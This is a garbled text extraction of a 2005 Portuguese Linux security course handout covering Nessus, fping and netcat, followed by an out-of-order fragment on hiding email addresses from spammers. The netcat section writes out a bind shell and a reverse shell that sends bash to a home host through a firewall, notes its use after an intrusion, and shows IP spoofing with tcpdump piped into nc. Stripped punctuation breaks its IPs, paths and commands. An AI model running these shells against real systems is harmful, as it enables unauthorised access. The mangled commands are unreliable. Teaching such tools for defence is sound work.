queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 31: Curso de segurança em linux e redes em geral

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes 